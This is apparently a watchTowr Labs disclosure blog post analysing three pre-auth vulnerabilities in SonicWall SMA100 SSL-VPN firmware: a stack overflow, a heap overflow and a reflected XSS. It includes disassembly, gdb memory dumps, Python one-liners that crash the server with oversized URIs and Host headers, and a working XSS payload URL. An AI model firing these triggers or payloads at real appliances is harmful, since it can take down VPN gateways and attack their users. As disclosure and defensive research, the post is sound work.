Stack Overflows, Heap Overflows, and Existential Dread (SonicWall SMA100 CVE-2025-40596, CVE-2025-40597 and CVE-2025-40598)

Stack Overflows, Heap Overflows, and Existential Dread (SonicWall SMA100 CVE-2025-40596, CVE-2025-40597 and CVE-2025-40598)

It’s 2025, and at this point, we’re convinced there’s a secret industry-wide pledge: every network appliance must include at least one trivially avoidable HTTP header parsing bug - preferably pre-auth. Bonus points if it involves sscanf.

If that’s the case, well done! SonicWall’s SMA100 series has proudly fulfilled the quota - possibly even qualified for a bonus.

Our initial journey started with analyzing SonicWall N-days that were receiving coveted attention from our friendly APT groups. But somewhere along the way - deep in a fog of malformed headers and reverse proxy schenanigans - we stumbled across vulnerabilities that feel like they were preserved in amber from a more naïve era of C programming.

While we understand (and agree) that these vulnerabilities are ultimately difficult - or in some cases, currently not exploitable - the fact they exist at all is, frankly, disappointing. Pre-auth stack and heap overflows triggered by malformed HTTP headers aren’t supposed to happen anymore. And yet… here we are.

So come, cry with us. We’ll walk you through how we got here, what we found, and why cyber security feels like great job security.

In this blog post, we’ll walk through three vulnerabilities discovered in the SonicWall SMA100 series - all confirmed against firmware version 10.2.1.15:

  • CVE-2025-40596 - Stack-based buffer overflow (pre-auth)
  • CVE-2025-40597 - Heap-based buffer overflow (pre-auth)
  • CVE-2025-40598 - Reflected XSS (pre-auth, user interaction required)

SonicWall's advisory can be found here.

Let’s dive in.

CVE-2025-40596 - Pre-Auth Stack-Based Buffer Overflow Vulnerability

While reviewing the /usr/src/EasyAccess/bin/httpd binary - responsible for handling incoming HTTP requests to the SonicWall SSLVPN - we identified a straightforward stack-based buffer overflow. Notably, IDA was unable to decompile the vulnerable function.

The httpd binary contains a series of conditional checks to map incoming requests to specific functionality. If a request URI begins with /__api__/, the following logic is triggered.

First, the binary performs a strncasecmp comparison between the incoming URI and the /__api__/ string:

If the first 9 bytes of the requested URI begin with /__api__/, execution jumps to the loc_444F0 block. Let’s take a closer look at that.

The loc_444F0 block is straightforward - it invokes the (in)famous sscanf function to parse user input. Specifically, it copies part of the user-provided URI into the memory address stored in the rcx register. That address, in turn, originates from a stack variable located at [rsp+898h+var_878].

The stack variable at [rsp+898h+var_878] is 0x800 bytes in size and is zeroed out during the function prologue.

The intent behind this function appears to be straightforward - it’s designed to parse incoming URIs in the following format:

https://x.x.x.x/__api__/v1/login

The sscanf call first extracts 2 bytes into v1, then proceeds to copy all characters following the final slash into the 0x800-byte stack buffer - with no bounds checking, of course.

...because what could possibly go wrong?

Reproducing this issue is trivial - it can be triggered with the following one-liner:

import requests; requests.get("https://x.x.x.x/__api__/v1/"+'A'*3000,verify=False)

If the remote connection closes, it’s a strong indicator that the target is vulnerable. However, if you send a smaller payload - say, around 2000 bytes - the server responds with a 400 Bad Request instead.

For example:

import requests; requests.get("https://x.x.x.x/__api__/v1/" + 'A'*2000, verify=False)

Here’s what the crash looks like under gdb:

Luckily for SonicWall, the /usr/src/EasyAccess/bin/httpd binary has stack protection enabled - making this particular overflow only moderately tragic. The overflow is directly adjacent to the stack canary and return address, with no other variables in between to abuse.

Still, this is a stack-based buffer overflow on a pre-auth path in 2025, in an SSL-VPN. Let that sink in. Or don't.

CVE-2025-40597 - Pre-Auth Heap-Based Buffer Overflow Vulnerability

One was depressing, but two? Sigh...

While continuing to review the httpd binary, we came across a shared object named mod_httprp.so, which appeared to handle a significant portion of the appliance's HTTP parsing. The httprp in its name likely stands for “HTTP Reverse Proxy” - this library is responsible for inspecting incoming HTTP requests for all sorts of SonicWall-specific functionality, including content filtering, remote desktop access, and more.

The vulnerability lies in an out-of-bounds heap write triggered during parsing of the Host: header by mod_httprp.so.

This one’s special - not just because it involves sprintf, but because someone went out of their way to use the “safe” version, and still blew past all guardrails.

We’ve broken it down to keep things simple - let’s walk through the root cause.

v21 = calloc(0x80, 1);

.text:0000000000031DDE                 lea     rax, asc_43502+1 ; "/"
.text:0000000000031DE5                 lea     r8, aHttps+1    ; "https://"
.text:0000000000031DEC                 lea     rcx, aShostSSSSS+9 ; "%s%s%s%s"
.text:0000000000031DF3                 mov     r9, r15
.text:0000000000031DF6                 mov     esi, 1
.text:0000000000031DFB                 mov     [rsp+1220h+var_1218], rax
.text:0000000000031E00                 mov     rdx, [rbp+var_1108]
.text:0000000000031E07                 mov     rdi, r12
.text:0000000000031E0A                 xor     eax, eax
.text:0000000000031E0C                 mov     [rsp+1220h+var_1220], rdx
.text:0000000000031E10                 mov     rdx, 0FFFFFFFFFFFFFFFFh
.text:0000000000031E17                 call    ___sprintf_chk

First, a heap chunk is allocated via a simple calloc(0x80), returning a zeroed-out region of memory. The pointer to this chunk is stored in v21, which is later passed to a __sprintf_chk call.

Now, you might be wondering - isn’t __sprintf_chk supposed to be the “safe” version? How could this possibly be vulnerable?

Well - it is. But only if you use it wrong.

While __sprintf_chk expects a bounds-checking size argument, the SonicWall developers have chosen to pass -1 (that is, 0xFFFFFFFFFFFFFFFF) instead.

For those playing along at home - this is not how you do bounds checking.

So close, SSL-VPN developers.. yet still.. so far....

This means the function will continue copying bytes from the provided Host: header into our 0x80-sized heap chunk... until it encounters a null byte.

Let’s take a look at the contents of v21 before the copy: it points to our freshly calloc'd 0x80 chunk - completely empty, as expected. Just after it? Additional heap-allocated memory.

And that's where things get interesting.

gdb> dq 0x55cdcdeca880 100
000055cdcdeca880     0000000000000000 0000000000000000 <- v21 calloc'd chunk starts here
000055cdcdeca890     0000000000000000 0000000000000000
000055cdcdeca8a0     0000000000000000 0000000000000000
000055cdcdeca8b0     0000000000000000 0000000000000000
000055cdcdeca8c0     0000000000000000 0000000000000000
000055cdcdeca8d0     0000000000000000 0000000000000000
000055cdcdeca8e0     0000000000000000 0000000000000000
000055cdcdeca8f0     0000000000000000 0000000000000000 <- v21 chunk ends here
000055cdcdeca900     0000000000000000 0000000000013701 <- next allocated heap chunk
000055cdcdeca910     0000000000000000 0000000000000000
000055cdcdeca920     0000000000000000 0000000000000000
000055cdcdeca930     0000000000000000 0000000000000000
000055cdcdeca940     0000000000000000 0000000000000000
000055cdcdeca950     0000000000000000 0000000000000000
000055cdcdeca960     0000000000000001 00000000000136a1
000055cdcdeca970     0000000000000000 0000000000000000
000055cdcdeca980     0000000000000000 0000000000000000

After the copy completes, we observe that the metadata of the adjacent heap chunk has been overwritten with our controlled data.

That’s... not ideal.

gdb> dq 0x55cdcdeca880 100
000055cdcdeca880     2f2f3a7370747468 4141414141414141 <- v21 calloc'd chunk starts here
000055cdcdeca890     4141414141414141 4141414141414141
000055cdcdeca8a0     4141414141414141 4141414141414141
000055cdcdeca8b0     4141414141414141 4141414141414141
000055cdcdeca8c0     4141414141414141 4141414141414141
000055cdcdeca8d0     4141414141414141 4141414141414141
000055cdcdeca8e0     4141414141414141 4141414141414141
000055cdcdeca8f0     4141414141414141 4141414141414141
000055cdcdeca900     4141414141414141 4141414141414141 <- next heap chunk overwritten
000055cdcdeca910     4141414141414141 4141414141414141
000055cdcdeca920     4141414141414141 4141414141414141
000055cdcdeca930     4141414141414141 4141414141414141
000055cdcdeca940     4141414141414141 4141414141414141
000055cdcdeca950     4141414141414141 4141414141414141
000055cdcdeca960     4141414141414141 4141414141414141
000055cdcdeca970     4141414141414141 4141414141414141
000055cdcdeca980     4141414141414141 4141414141414141

Reproducing this issue is just as straightforward - it can be triggered with the following one-liner:

import requests; requests.get("https://x.x.x.x/__api__/", headers={'Host':'A'*750}, verify=False)

As for exploiting this issue to achieve full pre-auth RCE - due to the number of background tasks and scripts constantly interacting with the same web server we’re targeting, we were unable to reliably race the server during heap metadata manipulation.

CVE-2025-40598 - Reflected Cross-Site Scripting (XSS) Vulnerability

Just for good measure - while reviewing the available CGI endpoints, we accidentally stumbled across a classic reflected XSS.

Triggering it was trivial - simply browse to the radiusChallengeLogin endpoint and inject an XSS payload via the state parameter. The value is reflected directly into the response with zero filtering.

What’s particularly interesting is that, despite the SMA100 SSLVPN offering a WAF feature, it appears to be entirely disabled on the management interfaces - meaning even basic payloads like the one below are enough to trigger the issue:

https://x.x.x.x/cgi-bin/radiusChallengeLogin?portalName=portal1&status=needchallenge&state="><img/src=x+onerror=alert`1`>

The result? A good old-fashioned alert(1) - 2005 (or Fortinet in 2025) called, it wants its vuln back.

A charming blast from the past - and a reminder that some things never change.

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO